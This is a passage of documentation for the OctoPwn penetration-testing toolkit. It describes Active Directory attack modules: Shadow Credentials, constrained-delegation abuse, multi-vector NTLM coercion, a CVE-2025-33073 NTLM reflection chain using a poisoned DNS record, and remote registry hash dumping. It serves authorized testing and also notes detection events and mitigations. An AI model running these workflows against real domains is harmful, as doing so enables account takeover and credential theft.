**Open Kerberos session** as the target user, using the new PFX. Because the credential is a PFX, the Kerberos session does **PKINIT** to get a TGT — the KDC validates the certificate against the published key credential we just planted and hands over a TGT for the target. 4. **`nt` on the Kerberos session** (`do_nt`). This issues an additional AS-REQ / TGS-REQ flow that requests the `KERB-PA-PAC-OPTIONS` containing `PAC_CREDENTIAL_INFO` — the recovered NT hash is decrypted out of the response and stored as a project credential. This is the **UnPAC the Hash** primitive. 5. **Cleanup** runs in `finally`: [`setkeycredentiallink`](../clients/ldap.md#setkeycredentiallink) is called on `target_dn` with `original_certs` — restoring the attribute to its pre-attack value (preserving any legitimate WHfB devices the target had). End result: a new NT-hash credential in the Hub, no permanent change on the target object. --- ## Prerequisites - A **valid domain credential** with **write access on the target object's `msDS-KeyCredentialLink` attribute**. Standard ways to have this: - The credential is `Domain Admins` (trivial). - The credential / one of its groups has `WriteProperty` on the target object via a misconfigured ACL — typical scenario after a successful [`RELAYLDAP`](../servers/relayldap.md) into the target's ACL. - The credential **is** the target's owner (`WriteOwner` is enough to grant yourself the write). - **The forest functional level must be ≥ 2016** for `msDS-KeyCredentialLink` to exist as an attribute. On forests stuck at 2012-R2 / older, the attribute is absent and the LDAP write fails with `NO_SUCH_ATTRIBUTE`. There is no workaround in that case. - **At least one DC must support PKINIT** (every DC since 2008 does, by default, unless the operator explicitly disabled it). - **The target must not be in `Protected Users`** for the PKINIT TGT to be usable for UnPAC (Protected Users disables PAC_CREDENTIAL_INFO). If you see the TGT come back fine but `nt` fails with "no PAC_CREDENTIAL_INFO" — that's the cause. - **Outbound `389/636/TCP`** to `dctarget` (LDAP) and **`88/UDP+TCP`** for PKINIT. --- ## Parameters ### Normal parameters #### `dctarget` Target ID of the Domain Controller (LDAP). Required. #### `credential` Credential ID for the LDAP bind. Must hold write rights on the target's `msDS-KeyCredentialLink`. #### `targetuser` The `sAMAccountName` of the **user (or computer) to take over**. Required. You can target either user or computer accounts — the attack works the same way; computer takeovers are useful for getting a machine's NT hash without touching the local SAM. ### Advanced parameters The standard `ScannerBaseParameters` set: `maxruntime`, `resultsfile`, `showerrors`, `timeout`, `workercount`, `wsnetreuse`, plus `proxy` from `CredentialedScanParameters`. Defaults are fine. --- ## Output ``` targetuser cids success stannis.baratheon [47, 48] True ``` Where `cids` is the list of newly-stored credential IDs: - One PFX credential (the cert + key OctoPwn generated for PKINIT). - One **NT-hash** credential for the target user (the actual loot — used for everything you'd normally do with NT-hash material: pass-the-hash, Kerberoast, RBCD, *etc.*). --- ## Why prefer ShadowCreds over RBCD or DCSync? | Attack | Required write target | Output | Cleanup automatic? | Detection profile | | ------------------ | ------------------------------------------ | ---------------------------- | ------------------ | ------------------------------------------- | | **ShadowCreds** | `msDS-KeyCredentialLink` on **target user** | NT hash of target | Yes (restore) | LDAP write event + PKINIT login event | | [`RBCD`](rbcd.md) | `msDS-AllowedToActOnBehalfOfOtherIdentity` on **target machine** | TGS for target user against target machine | Yes (restore + delete machine) | Computer creation/deletion + LDAP write | | [`DCSYNC`](dcsync.md) | DCSync rights on the **domain** | NT / AES / DPAPI keys for **every** account | N/A (read-only) | Distinctive 4662 + replication RPC pattern | ShadowCreds is the cleanest "I have a write on this specific user/computer object" primitive — no machine creation, no SD juggling, just one attribute write that's restored at the end. --- ## Limitations and caveats - **The 1-minute LDAP-replication race.** If the LDAP write hits DC-A but the PKINIT exchange hits DC-B that hasn't replicated yet, PKINIT fails with `KDC_ERR_CLIENT_NAME_MISMATCH` or `KDC_ERR_PADATA_TYPE_NOSUPP`. Pin both to the same DC, or wait a minute and retry. - **Restore can fail silently.** Same caveat as [`ESC4`](esc4.md#how-it-works): if the LDAP session dies between the modify and the finally, the restore won't run and you'll leave a planted `msDS-KeyCredentialLink` entry on the target. Always check the session log for `Original certificates restored successfully`. If absent, manually call [`setkeycredentiallink`](../clients/ldap.md#setkeycredentiallink) to restore. - **Some forests reject PKINIT for service accounts** with `userAccountControl` flag `DONT_REQUIRE_PREAUTH` set. Edge case, easy to spot from the error message. - **Audit signature.** A `5136` event on the target object will record the `msDS-KeyCredentialLink` change, then a second `5136` records the restore — within seconds of each other. Mature SOCs treat this as a ShadowCreds signature. - **Cannot defeat Protected Users.** If the target is in `Protected Users`, the `nt` (UnPAC) step fails — but the PKINIT login itself still works (the PFX credential is left in the Hub for downstream use). --- ## See also - [LDAP client → `shadowcred`](../clients/ldap.md#shadowcred) — the attribute-write primitive, callable directly for manual workflows. - [LDAP client → `setkeycredentiallink`](../clients/ldap.md#setkeycredentiallink) — manual restore / fully custom KeyCredentialLink management. - [Kerberos client → `nt`](../clients/kerberos.md#nt) — the UnPAC-the-Hash primitive used internally. - [`RBCD`](rbcd.md) — alternative takeover when you have write rights on a *machine* object. - [`RELAYLDAP`](../servers/relayldap.md) — the most common way to *acquire* the necessary write rights on a target object. - [SpecterOps: Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ec) — original technique writeup. - [The Hacker Recipes: UnPAC the Hash](https://www.thehacker.recipes/a-d/movement/kerberos/unpac-the-hash) — the recovery primitive. --- # [Attacks / Kerberos delegation] constraineddeleg Source: https://docs.octopwn.com/plugins/attacks/constraineddeleg.html # Constrained Delegation Attack The **CONSTRAINEDDELEG** attack is OctoPwn's helper for the **S4U2Self → S4U2Proxy** Kerberos chain. Given a credential whose account already has Kerberos *Constrained Delegation* configured (i.e. `msDS-AllowedToDelegateTo` is populated for the account), it requests a service ticket to one of the configured SPNs **as any chosen user** — no machine creation, no LDAP writes, no cleanup. This is the **post-discovery** module: use it once you have the credential of a service account that has been granted constrained-delegation rights to something interesting (typically discovered via the [LDAP client](../clients/ldap.md)'s constrained-delegation enumeration). For the flip side — abusing *write* access on a delegation attribute — that's the [`RBCD`](rbcd.md) attack (resource-based) or manual S4U via the LDAP / Kerberos clients (classic constrained delegation). --- ## How it works 1. **LDAP session** is opened against `dctarget` using `credential` (NTLM, hidden) and logged in. The LDAP session is used only to resolve the credential's domain (so OctoPwn can build canonical `<user>@<domain>` and `<spn>@<domain>` strings). 2. **Domain consistency.** If the supplied credential lacks an explicit `domain` field, OctoPwn clones the credential, sets the domain from the LDAP context, stores the clone in the [Credentials Hub](../../user-guide/credentials.md), and uses that for the subsequent Kerberos step. The original credential is left untouched. 3. **Open Kerberos session** as the (clean) credential. 4. **`s4uproxy(targetspn, targetuser)`** is called on the Kerberos session. This performs the full chain in one go: - **S4U2Self**: the source account asks the KDC for a TGS to *itself* *as `targetuser`*. Returns a forwardable service ticket whose client identity is `targetuser`. - **S4U2Proxy**: the source account presents that ticket back to the KDC and asks for a TGS to `targetspn` *on behalf of* `targetuser`. The KDC checks `msDS-AllowedToDelegateTo` on the source account. If it includes `targetspn`, the KDC issues the requested TGS. The resulting service ticket is stored as a Kerberos credential in the project (a `.kirbi` blob, immediately usable). 5. **Cleanup** is just an LDAP logout — no AD writes happened, so there's nothing to restore. --- ## Prerequisites - A **valid credential for the source account** — i.e. the account that has `msDS-AllowedToDelegateTo` configured. Typically a service account whose password / NT hash you obtained via Kerberoast / DCSync / coercion / phishing / *etc.* - The source account must have: - `TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION` (TrustedToAuthForDelegation, `userAccountControl` bit `0x1000000`) set, **and** - `msDS-AllowedToDelegateTo` containing the SPN you want to abuse, or — for "Constrained Delegation **without** protocol transition" — `TRUSTED_TO_DELEGATE` (`0x80000`) **and** an existing forwardable TGS you obtained some other way (rare in practice; the protocol-transition flag is the common case). - **`targetuser` must be delegate-able.** Same constraint as [`RBCD`](rbcd.md): members of `Protected Users`, accounts with `Account is sensitive and cannot be delegated` set, and AdminSDHolder accounts will return `KDC_ERR_POLICY` from S4U2Self. - **Network access**: `389/636/TCP` to `dctarget`, `88/UDP+TCP` for Kerberos. --- ## Discovering candidate accounts Before running this attack, find accounts in the domain that have constrained delegation configured: ``` # In the LDAP client, enumerate accounts with non-empty msDS-AllowedToDelegateTo. ldap> deluser <-- (no — that's "delete user") ldap> getalldelegations ``` Look for accounts where the SPNs in `msDS-AllowedToDelegateTo` include something high-value (`CIFS/<DC>` is the classic jackpot — gives you SMB on the DC as any user). Service accounts for legacy products (SCCM, MSSQL, Exchange, custom IIS app pools) are the typical hits. Once you have a service account credential, use its `cid` here and use the discovered `targetspn` value verbatim. --- ## Parameters ### Normal parameters #### `dctarget` Target ID of the Domain Controller (LDAP, Kerberos KDC). Required. #### `credential` Credential ID of the **source account** — i.e. the account whose constrained-delegation rights you are exercising. This is *not* the target; it's the principal that's allowed to delegate. #### `targetuser` The `sAMAccountName` (or UPN) of the user to impersonate. If a UPN, used as-is; if a bare name, OctoPwn appends `@<dctarget's domain>`. Required. #### `targetspn` The SPN to request the service ticket for. Must be **one of the SPNs configured in `msDS-AllowedToDelegateTo` on the source account**. Standard SPN syntax (`<service>/<host>` or `<service>/<host>@<domain>`). Required. ### Advanced parameters The standard `ScannerBaseParameters` set: `maxruntime`, `resultsfile`, `showerrors`, `timeout`, `workercount`, `wsnetreuse`, plus `proxy` from `CredentialedScanParameters`. --- ## Output ``` targetuser targetspn success Administrator CIFS/winterfell True ``` Plus a stored Kerberos credential — the actual service ticket. Use it via the [SMB / LDAP / WinRM / MSSQL clients](../clients/smb.md) by selecting the new Kerberos cred from the Hub. --- ## When this differs from RBCD - **CONSTRAINEDDELEG** uses **classic constrained delegation** — the source account has been *pre-configured* by an administrator (or by the operator via a previous LDAP write) to delegate to specific SPNs. No AD writes happen during the attack itself. - **[RBCD](rbcd.md)** uses **resource-based constrained delegation** — the operator *creates* the delegation right by writing to the *target's* `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute on the fly, then tears it down. Requires write rights on the target machine object. If you have: - A **service account credential with constrained delegation already configured** → use this attack. - A **write on a target machine object's ACL** (typically via successful RELAYLDAP) → use [`RBCD`](rbcd.md). --- ## Limitations and caveats - **Protected Users / sensitive accounts.** Same as RBCD — pick a delegate-able target. `KDC_ERR_POLICY` from S4U2Self means the target user is protected. - **Wrong SPN.** S4U2Proxy will return `KDC_ERR_BADOPTION` if the `targetspn` you're requesting isn't in the source account's `msDS-AllowedToDelegateTo`. Double-check via LDAP enumeration. - **No `_self` workflows here.** This module exposes only the chained S4U2Self+S4U2Proxy flow. If you want raw S4U2Self (impersonation against the source account itself, useful for the "S4U2Self only" abuse path on accounts with `TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION`), call [`s4uself`](../clients/kerberos.md#s4uself) directly on the Kerberos client. - **No cross-realm.** This module assumes single-domain operation. For cross-realm constrained-delegation abuse, drive the [Kerberos client](../clients/kerberos.md) manually with the appropriate realm flags. - **Audit signature.** S4U2Self is logged on the KDC as event `4769` with the `msDS-AllowedToDelegateTo` audit context; large numbers of S4U2Self events from a single source against many users / SPNs are a known IoC. --- ## See also - [LDAP client](../clients/ldap.md) — for enumerating accounts with constrained delegation configured. - [Kerberos client → `s4uproxy`](../clients/kerberos.md#s4uproxy) / [`s4uself`](../clients/kerberos.md#s4uself) — the underlying Kerberos primitives, useful when you need full control over flags / realms. - [`RBCD`](rbcd.md) — *resource-based* constrained delegation (creates the delegation right on demand). - [`KERBEROAST`](kerberoast.md) — most common way to *obtain* the source-account credential needed for this attack. - [The Hacker Recipes: Unconstrained / Constrained / RBCD](https://www.thehacker.recipes/a-d/movement/kerberos/delegations) — canonical Kerberos delegation reference. --- # [Attacks / Coercion & relay] coercer Source: https://docs.octopwn.com/plugins/attacks/coercer.html # Coercer Attack The **Coercer** attack module is OctoPwn's multi-vector authentication-coercion driver. Given a domain credential and one or more targets, it cycles through **every known SMB-side coercion RPC** — PetitPotam (EFSRPC), PrinterBug (RPRN), ShadowCoerce (FSRVP), DFSCoerce (DFSNM), Event Log (EVEN) — and tries to make the target's `SYSTEM` account authenticate to a listener you choose. It is the primary partner of the relay servers ([`RELAYSMB`](../servers/relaysmb.md), [`RELAYLDAP`](../servers/relayldap.md), [`RELAYNTLMREFLECTION`](../servers/relayreflection.md)) and of the [`SPOOFER`](../servers/spoofer.md) module: spin up a listener, point the coercer at a target, and the relay / spoofer captures the inbound NTLM exchange. | Vector | Group code | RPC interface | What it does | | ------ | ----------- | ------------------- | ----------------------------------------------------------------------------------------- | | PetitPotam / EFSRPC | `EFSR` | `\PIPE\efsrpc` / `\PIPE\lsarpc` | Several `EfsRpc*` functions that take a UNC path → target authenticates to it. | | PrinterBug | `RPRN` | `\PIPE\spoolss` | `RpcRemoteFindFirstPrinterChangeNotification[Ex]` (MS-RPRN spooler bug). | | ShadowCoerce | `FSRVP` | `\PIPE\FssagentRpc` | `IsPathShadowCopied` / `IsPathSupported` (volume-shadow service). | | DFSCoerce | `DFSNM` | `\PIPE\netdfs` | `NetrDfsRemoveStdRoot` (DFS namespace management). | | EventLog (ELFR) | `EVEN` | `\PIPE\eventlog` | `ElfrOpenBELW` — open backup event log over UNC path. | Within each group OctoPwn fires *all* the supported sub-functions, not just one representative — so e.g. enabling `EFSR` actually exercises 9 different `EfsRpc*` calls, any of which may succeed even if the others are patched. --- ## How it works 1. **SMB connect + login** with the supplied `credential` against the next target. **Authentication is required** — Coercer is a post-auth primitive (the target needs to authorize the underlying RPC bind first). Use the lowest-privilege account that gets a successful bind on the relevant pipe; the actual coercion functions usually accept any authenticated caller. 2. **Build the listener URL set** for `listenip`. By default the coercion library generates one URL per supported transport — `\\<listenip>\share` for SMB-flavoured paths, `http://<listenip>/coerce` for HTTP-flavoured paths, *etc.* 3. **For each protocol group in `protocols`**, run every sub-function of that group with each generated listener URL. Between successive coercion calls, wait `delay` milliseconds. 4. **Stop on first success per target by default**, unless `continueonsuccess` is `True`. "Success" here means the RPC returned an indication that the target *acted on* the UNC path — the actual NTLM authentication is then captured by your listener (relay server / spoofer / Responder), not by Coercer itself. Coercer **does not own a listener**. It only triggers the auth — you must have something else listening on `listenip`. The most common setups are: - Coercer + [`RELAYSMB`](../servers/relaysmb.md) → SMB → relayed to another SMB target. - Coercer + [`RELAYLDAP`](../servers/relayldap.md) → SMB → relayed to LDAP for ACL writes. - Coercer + [`RELAYNTLMREFLECTION`](../servers/relayreflection.md) → SMB → CVE-2025-33073 reflection back to the originating host. - Coercer + [`SPOOFER`](../servers/spoofer.md) — to capture the NTLMv2 hash offline (instead of relaying). - Coercer + Responder / Inveigh on a separate Linux box, when you want the capture to live outside OctoPwn. When using marshalled DNS records (CVE-2025-33073), pass the marshalled name *as the listener URL* — see the [`NTLMREFLECTION` attack page](ntlmreflection.md) for the full chain that automates this. --- ## When to choose which protocol group The default `['EFSR','RPRN','FSRVP','EVEN','DFSNM']` covers everything. In real operations, narrow it down: - **`EFSR`** — most universal. Patched in stages over many years (PetitPotam patches), but new EfsRpc sub-functions keep being found. Often the only thing that works on fully patched 2022/2025 hosts. - **`RPRN`** — only works when the **Print Spooler service is running**. On modern domain-joined workstations that's still the default; on hardened servers (especially DCs after the spooler was disabled per Microsoft's advisory) it's gone. Cheap to try. - **`FSRVP`** — requires the **Volume Shadow Copy** service running. Often only enabled on file servers / backup hosts. - **`DFSNM`** — only works on **DFS namespace servers** (typically DCs in most Windows domains). Very useful against DCs. - **`EVEN`** — Event Log RPC; less commonly patched, less commonly disabled, but slightly slower path. Worth keeping. --- ## Prerequisites - A **valid domain credential** that can bind the relevant RPC pipe. Most vectors accept any authenticated user; some (DFSNM in particular) want rights on the DFS namespace object — which any domain user has on default Microsoft DCs. - **Outbound `445/TCP`** from the agent to every target (for the SMB binds used to deliver the coercion). - **Inbound traffic from the target to your listener** — `445/TCP`, `80/TCP` and/or `139/TCP` depending on the listener type. If the target cannot reach you, no auth gets captured even if Coercer reports the RPC call succeeded. - A **listener** running on `listenip` (relay server / spoofer / external capture tool). --- ## Parameters ### Normal parameters #### `credential` Credential ID for SMB authentication against the targets. Any low-privilege domain user normally suffices. #### `targets` List of targets. Standard list / CIDR / file / `all` syntax. #### `listenip` The address the target should authenticate **to**. This is what gets baked into the coerced UNC paths / HTTP URLs. Three flavours: - **An IP address** (`192.168.56.42`) — simplest, target authenticates directly to that IP. - **A hostname** that resolves on the target — useful when targets cannot see the agent IP directly but a NetBIOS / LLMNR / DNS poisoner can resolve the name to your listener (pair with [`SPOOFER`](../servers/spoofer.md) for an end-to-end OctoPwn chain). - **A marshalled DNS name** (e.g. `localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA`) — the CVE-2025-33073 trick. Used by [`NTLMREFLECTION`](ntlmreflection.md) automatically; you can use it manually here as well by setting it as `listenip` after pre-creating the matching DNS record with [`dnsadd`](../clients/ldap.md#dnsadd). #### `protocols` Default: `['EFSR','RPRN','FSRVP','EVEN','DFSNM']` (all). Empty list also means "all". Narrow down per the table above. #### `delay` Default: `100`. Milliseconds between successive coercion attempts. Raise this on rate-limited / monitored hosts; lower for fast smoke tests. #### `continueonsuccess` Default: `False`. When `True`, Coercer keeps firing every remaining vector even after one succeeded against a given target — useful when you want to see *all* the paths that work (research / reporting use case), not just the first one. ### Advanced parameters The standard credentialled-SMB scanner parameter set: `authtype`, `dialect`, `krbetypes`, `krbrealm`, `maxruntime`, `proxy`, `resultsfile`, `showerrors`, `timeout`, `workercount`, `wsnetreuse`. See [SMB client → authentication](../clients/smb.md#authentication) for the auth-related ones. --- ## Typical workflows ### 1. Pure capture (offline cracking) 1. Start [`SPOOFER`](../servers/spoofer.md) on `listenip` to capture NTLMv2. 2. Run Coercer with `listenip = <agent IP>` against your target list. 3. NTLMv2 hashes show up in the Credentials Hub — crack offline. ### 2. Cross-protocol relay (most common) 1. Start [`RELAYLDAP`](../servers/relayldap.md) (or [`RELAYSMB`](../servers/relaysmb.md), [`RELAYMSSQL`](../servers/relaymssql.md), [`RELAYESC8`](../servers/relayesc8.md), …) on `listenip`. 2. Run Coercer with `listenip = <agent IP>`. 3. The relay server receives the auth, relays it to its configured `targets`, and emits whatever the post-auth module produces (new SMB session, new PFX, ACL change, *etc.*). ### 3. NTLM reflection (CVE-2025-33073) Use the [`NTLMREFLECTION` attack](ntlmreflection.md) — it wires the Coercer, [`RELAYNTLMREFLECTION`](../servers/relayreflection.md), [`dnsadd`](../clients/ldap.md#dnsadd) and the marshalled-name listener together for you. --- ## Limitations and caveats - **Coercer does not authenticate the inbound NTLM exchange itself.** If nothing is listening on `listenip`, the coercion succeeds but the NTLM packet vanishes into the void. Always check that your relay / spoofer is up and bound first. - **A "successful" coercion call doesn't always mean the target authenticated.** Some RPC functions return success on bad UNC paths (target processes the request, fails to fetch, never opens the SMB connection). Cross-check with the listener log. - **Patches catch up.** EFSR / PetitPotam in particular has had multiple rounds of partial patches over the years; some targets will accept some sub-functions but not others. The default behaviour of trying every sub-function in a group is intentional — leave it on unless you have a specific reason to narrow down. - **Spooler / VSS / DFS dependencies.** `RPRN` needs Print Spooler; `FSRVP` needs VSS; `DFSNM` needs the netdfs pipe (DFS namespaces). Check what's actually running on the target with the [`smbspooler`](../scanners/smbspooler.md) and similar scanners before blaming Coercer. --- ## See also - [`RELAYSMB`](../servers/relaysmb.md) / [`RELAYLDAP`](../servers/relayldap.md) / [`RELAYMSSQL`](../servers/relaymssql.md) / [`RELAYESC8`](../servers/relayesc8.md) / [`RELAYNTLMREFLECTION`](../servers/relayreflection.md) — the relay servers Coercer feeds into. - [`SPOOFER`](../servers/spoofer.md) — for offline NTLMv2 capture instead of relay. - [`NTLMREFLECTION` attack](ntlmreflection.md) — fully automated CVE-2025-33073 chain (uses Coercer internally). - [`smbspooler` scanner](../scanners/smbspooler.md) — pre-flight check for PrinterBug feasibility. - [SMB client → `printerbug`](../clients/smb.md) — single-vector coercion primitives without the multi-target harness. --- # [Attacks / Coercion & relay] ntlmreflection Source: https://docs.octopwn.com/plugins/attacks/ntlmreflection.html # NTLMReflection Attack The **NTLMReflection** attack module is OctoPwn's one-button orchestrator for the end-to-end **CVE-2025-33073** exploit chain. It does, in a single attack session, what would otherwise require five separate tools running in lockstep: 1. Pre-flight scans the candidate target list with the [`ntlmreflection` scanner](../scanners/ntlmreflection.md) and keeps only the hosts marked `VULNERABLE = yes` / `maybe`. 2. Adds the **`localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA`** marshalled DNS record to the AD-integrated DNS zone via the [LDAP client](../clients/ldap.md)'s [`dnsadd`](../clients/ldap.md#dnsadd) — pointing it at the agent's `listenip`. (Uses CredMarshalTargetInfo encoding so the victim's SMB client treats the listener as a local-machine target and engages the `NTLMSSP_NEGOTIATE_LOCAL_CALL` flow.) 3. Spawns a [`RELAYNTLMREFLECTION`](../servers/relayreflection.md) server pinned to `listenip`. 4. Spawns a [`COERCER`](coercer.md) attack pointed at the marshalled DNS name as the listener — every coercion path the coercer knows about is fired against every vulnerable target. 5. The relay server completes the local-auth dance and returns a `NT AUTHORITY\SYSTEM` SMB session per coerced host, which is then auto-followed by `regdump` + `dpapi` post-auth modules (per the relay server's own behaviour). In **continuous mode**, the attack also registers a global "new target added" hook so that every target the operator drops into the project after the attack started is automatically queued, scanned, and (if vulnerable) attacked — without any further interaction. For the *theory* behind why this works (CVE-2025-33073, marshalled DNS records, `NTLMSSP_NEGOTIATE_LOCAL_CALL`, post-patch bypass via CVE-2026-24294, the WebClient cross-protocol path, *etc.*), see the [`RELAYNTLMREFLECTION` server page](../servers/relayreflection.md) — that's where the protocol-level details live; this page documents the *attack-driver* that wires it all together. --- ## How it works The attack is structured around `NTLMReflectionAttackCore` in `octopwn/common/attacks/ntlmreflection/`. A single run executes the following batch (and re-runs it for each new target queue when continuous mode is on): 1. **Vulnerability scan.** A hidden [`NTLMREFLECTION` scanner](../scanners/ntlmreflection.md) session is spawned and pointed at the queued targets. It probes each host's SMB build / patch level and records `VULNERABLE = yes` / `maybe` / `no`. Only `yes` and `maybe` hosts proceed. ??? note "Why pre-scan?" The CVE-2025-33073 condition is *not* "any unsigned SMB target". The relevant code path was patched in May 2025 and the bypass (CVE-2026-24294) only works against specific patch ranges. Firing the chain blindly against patched hosts wastes operator time and lights up the target's security telemetry. The scanner does the cheap version check up front so the loud part only happens against viable targets. 2. **DNS record add.** The attack's hidden LDAP client session connects to `dctarget` and calls `dnsadd` with: - `target = localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA` (the marshalled DNS record — `localhost` + the [`CredMarshalTargetInfo`](https://learn.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credmarshalcredentialw) blob that flips the `NTLMSSP_NEGOTIATE_LOCAL_CALL` bit on the SMB client). - `ip = listenip` (where the agent's relay server is listening). OctoPwn tries every combination of `(forest=False/True, legacy=False/True)` until one succeeds — DNS write semantics differ across forests / legacy zones. !!! warning "DNS propagation delay" The code currently has its propagation `asyncio.sleep` commented out, but AD-integrated DNS records can take up to two minutes to be served by all DCs. If the coercion immediately following this step fails with name resolution errors, wait a minute and re-run the attack — the DNS record persists across runs. 3. **Relay server start.** A hidden [`RELAYNTLMREFLECTION`](../servers/relayreflection.md) server is created and `do_serve()` is called. The relay listens for inbound SMB connections, accepts the `NTLMSSP_NEGOTIATE_LOCAL_CALL` handshake, completes the reflection and issues the post-auth modules (regdump / dpapi) as `SYSTEM` against the originating host. 4. **Coercion.** A hidden [`COERCER`](coercer.md) attack is spawned. Its `listenip` is set to the **marshalled DNS name** (not the IP) — so victims resolve the name via the AD DNS we just poisoned, get back the agent's IP, then build SMB sessions whose target name is the marshalled string. That string is what triggers the local-call NTLM handshake on the victim. Every coercion vector COERCER knows (PetitPotam / EFSRPC, DFSCoerce, ShadowCoerce, PrinterBug, …) is fired against every vulnerable target. 5. **Wait and clean up.** The coercion phase has a 120-second hard timeout. When it finishes (or times out), the relay server is stopped and the batch is complete. In continuous mode the loop re-arms; otherwise the attack session exits. --- ## Continuous mode (the killer feature) With `continousattack = True`, the attack registers a global target-added hook on the project. From then on: - Any target added to the project (manually, via a scanner like [`portscan`](../scanners/portscan.md), via [`smbfinger`](../scanners/smbfinger.md), *etc.*) is queued. - After a 10-second debounce (lets a burst of additions accumulate), the queued targets are re-scanned for vulnerability and a new batch fires. - The DNS record and relay server are kept across batches — no re-setup cost. - The attack runs until you stop the session. This turns the attack into a **passive-interception trap**: leave it running during a wider scan, and any newly-discovered, vulnerable host gets owned for free as it shows up in the project. --- ## Prerequisites - A **valid domain credential** — used both for the LDAP `dnsadd` and as the authenticated identity that drives the COERCER. **Any** authenticated user account is enough; `Authenticated Users` can write DNS records by default. - A **Domain Controller target** (`dctarget`) reachable via LDAP / LDAPS. - A **listenip** that: - is bindable on the agent host on `445/TCP`, - is reachable from every target that will be coerced, - and resolves correctly when DNS hands out the marshalled name (so — same broadcast domain, or routable from the targets, *no NAT in between* unless you have explicit forwarding). - **At least one CVE-2025-33073-vulnerable host** in the target set. The [`ntlmreflection` scanner](../scanners/ntlmreflection.md) tells you which builds qualify. - **WSNET agent** running with sufficient privileges to bind `445/TCP` on the listening interface (which usually means: not a Windows host where the SMB driver is already bound). --- ## Parameters ### Normal parameters #### `dctarget` Target ID of the Domain Controller used for LDAP `dnsadd`. Required. #### `credential` Credential ID for the LDAP bind and as the authenticated identity for COERCER. #### `listenip` IP address the agent will bind the relay server to and which the marshalled DNS record will resolve to. Required. #### `attacktargets` Comma-separated list of target IDs / IPs / hostnames to attack. Required when `continousattack = False`; optional when continuous mode is on (it can be empty and the attack will only fire on newly-added targets). #### `continousattack` Default: `False`. When `True`, the attack stays alive after the first batch finishes and keeps a target-added hook on the project so that any new target becomes a candidate. #### `protocol` Default: `LDAP`. Currently has no effect on the attack flow — kept for forward compatibility. Leave at default. ### Advanced parameters The standard `ScannerBaseParameters` set: `maxruntime`, `resultsfile`, `showerrors`, `timeout`, `workercount`, `wsnetreuse`. See the [scanner parameters reference](../scanners/baseline.md). Defaults are fine. --- ## Output You see three things in flight: 1. The **vulnerability scan progress** — which hosts were probed and which were marked vulnerable. 2. The **relay server's session log** (the same output you'd get from running [`RELAYNTLMREFLECTION`](../servers/relayreflection.md) standalone) — every incoming local-call NTLM handshake, every successful relay, every post-auth `regdump` / `dpapi` result. 3. **New SMB sessions** appearing in the Sessions Window for each successfully relayed host. These are full local-admin (in fact, `SYSTEM` over SMB) sessions you can use immediately with the [SMB client](../clients/smb.md) for `cmdexec`, `psexec`, *etc.* --- ## Limitations and caveats - **SMB signing on the victim breaks everything.** This is the core mitigation for CVE-2025-33073 and every variant. If `SIGNING_REQUIRED = True` shows up in the [`smbsig`](../scanners/smbsig.md) results for a host, this attack will not work against it. - **The DNS record is persistent.** It stays in the zone after the attack ends. Either remove it manually via the [LDAP client](../clients/ldap.md)'s `dnsdel`, or accept that it sits in the AD DNS zone as a forensic artifact pointing at your old `listenip`. - **The attack does not enable any guardrails.** If you point it at production with continuous mode on, every new target you scan will be coerced. Treat it like a live exploit. - **Coercion is not silent.** The COERCER step generates noisy authentication logs (4624 / 4625 with the marshalled name as the target) on every host it hits. Mature SOCs will pick this up — this is a fast attack, not a stealthy one. - **Single-listener architecture.** The relay server binds one IP / port. You can't fan out across multiple `listenip`s from a single attack session — run multiple `NTLMREFLECTION` attack sessions if you need to cover multiple network segments. --- ## See also - [`RELAYNTLMREFLECTION` server](../servers/relayreflection.md) — the relay server underneath the hood. The protocol-level theory of CVE-2025-33073 (and the post-patch bypass CVE-2026-24294) lives there. - [`ntlmreflection` scanner](../scanners/ntlmreflection.md) — the pre-flight vulnerability check used internally by this attack. - [`COERCER`](coercer.md) — the coercion driver fired internally; see its page for the list of supported coercion vectors. - [`smbsig` scanner](../scanners/smbsig.md) — to understand which hosts in your target list are signing-required (and therefore immune to this attack). - [Synacktiv: NTLM reflection is dead, long live NTLM reflection](https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025) — the canonical reference. --- # [Attacks / SMB host secrets] smbregdump Source: https://docs.octopwn.com/plugins/attacks/smbregdump.html # SMBRegDump Attack The **SMBRegDump** attack is OctoPwn's "classic" remote registry secrets dumper — modeled on Impacket's `secretsdump.py` "registry" technique. It saves the `SAM`, `SYSTEM` and `SECURITY` hives to disk on the **target** under `C:\Windows\Temp\<random>.<random>` via the Remote Registry RPC (`SaveKey`), reads them back over SMB, parses them with `pypykatz`, deletes the dump files, and stores every recovered hash / cached credential in the [Credentials Hub](../../user-guide/credentials.md) under the appropriate credential type (`nt`, `lm`, `dcc`, …). | Step | Where | | ----------------------------- | ---------------------------------- | | Save hive to file | Target: `C:\Windows\Temp\` (writable by SYSTEM) | | Read file back | Over SMB (`C$` admin share) | | Parse + extract secrets | OctoPwn agent (in-memory) | | Delete remote files | Target: same `C:\Windows\Temp\` path | !!! tip "Touchy disk vs. no-touchy disk" SMBRegDump **writes to the target's disk**. That's an artifact in `C:\Windows\Temp\` (deleted at the end, but visible to file-system auditing in between) plus matching Remote Registry / SMB log entries. If you want a no-touch alternative, use [`smbregdump2`](smbregdump2.md), which uses the in-memory remote-registry path (modifies the security descriptors of the protected keys, reads them in place, restores the descriptors). Both produce the same secrets. --- ## How it works 1. **SMB connect + login** with the supplied `credential` against the next target. Local-admin is required for both the `SaveKey` RPC and the `C$` read-back. 2. **Check Remote Registry service status.** If it's not `RUNNING`, OctoPwn enables it and starts it via DCERPC (the same mechanism as `serviceen RemoteRegistry` from the [SMB client](../clients/smb.md#serviceen)), then waits `srvwaittime` seconds for the service to come up. 3. **Dump the hives.** For each of `HKLM\SAM`, `HKLM\SYSTEM`, `HKLM\SECURITY`, OctoPwn issues `BaseRegSaveKey` to write the hive to a file with a randomised `<4 bytes hex>.<3 bytes hex>` name in `C:\Windows\Temp\`. After issuing all three saves, OctoPwn waits `srvwaittime` seconds again to let Windows finish flushing the 